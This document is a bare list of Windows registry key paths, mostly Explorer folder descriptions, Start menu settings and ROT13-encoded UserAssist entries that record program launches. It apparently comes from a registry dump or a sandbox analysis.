HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuPinnedList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\FavoritesRemovedChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\FavoritesChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCacheSMP
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband\FavoritesChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCacheTBP
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuMFUprogramsList
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_MinMFU
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInstrumentation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Vagrearg Rkcybere (64-ovg).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Vagrearg Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\HRZR_PGYPHNPbhag:pgbe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Pbzznaq Cebzcg.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.TrggvatFgnegrq
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\qvfcynlfjvgpu.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pnyp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.FgvpxlAbgrf
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FavccvatGbby.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Abgrcnq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfcnvag.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\kcfepuij.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JSF.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ErzbgrQrfxgbc
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zntavsl.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.PbagebyCnary
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\freivprf.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.PbagebyCnary.Gnfxone
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Jvaqbjf Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\rkcybere.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Q:\IOBKJVAQBJFNQQVGVBAF-NZQ64.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Benpyr\IveghnyObk Thrfg Nqqvgvbaf\IObkQeiVafg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\ertrqvg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\IOBKFIE\Qbjaybnqf\9.0_NqorEqe90_ra_HF.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfvrkrp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.JvaqbjfVafgnyyre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qrfxgbc\CVY-1.1.7.jva32-cl2.7.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qrfxgbc\wqx-7-jvaqbjf-v586.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.VagreargRkcybere.Qrsnhyg
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Zntavsl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Q:\frghc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Q:\IObkJvaqbjfNqqvgvbaf.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\HfreNppbhagPbagebyFrggvatf.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\erxrljvm.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zzp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\fyhv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\frgup.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FlfgrzCebcregvrfNqinaprq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qrfxgbc\AQC451-XO2858728-k86-k64-NyyBF-RAH.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Aneengbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\JVAJBEQ.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\RKPRY.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BHGYBBX.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\CBJRECAG.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BARABGR.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Nqbor\Ernqre 9.0\Ernqre\NpebEq32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Benpyr\IveghnyObk Thrfg Nqqvgvbaf\havafg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\NccQngn\Ybpny\Grzc\~afh.gzc\Nh_.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\jvaire.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Ba-Fperra Xrlobneq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Clguba27\clgubaj.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{7SR8Q22N-SO1Q-N8OR-01R3-6P8693961R6R}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.VagreargRkcybere.64Ovg
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pzq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qbjaybnqf\Nhgbehaf64.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{P1P6S8NP-40N3-0S5P-146S-65N9QP70OOO4}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Flfgrz Gbbyf\Cevingr Punenpgre Rqvgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npebong.pbz.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqbor Ernqre 9.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jrypbzr Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\qvfcynlfjvgpu.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Pnyphyngbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Fgvpxl Abgrf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Favccvat Gbby.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Cnvag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zrqvn Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\KCF Ivrjre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Snk naq Fpna.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Erzbgr Qrfxgbc Pbaarpgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\freivprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Jbeq 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Rkpry 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bhgybbx 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg CbjreCbvag 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg BarAbgr 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fvqrone.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Benpyr IZ IveghnyObk Thrfg Nqqvgvbaf\Havafgnyy.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Gnfx Fpurqhyre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Nalgvzr Hctenqr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf QIQ Znxre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Zrqvn Cynlre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Zngu Vachg Cnary.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Zbovyvgl Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\ArgjbexCebwrpgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Fbhaq Erpbeqre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flap Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jbeqcnq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Npprffvovyvgl\Fcrrpu Erpbtavgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Punenpgre Znc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\qsethv.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Qvfx Pyrnahc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Erfbhepr Zbavgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Flfgrz Vasbezngvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Flfgrz Erfgber.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Jvaqbjf Rnfl Genafsre Ercbegf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Jvaqbjf Rnfl Genafsre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\FuncrPbyyrpgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\GnoGvc.yax
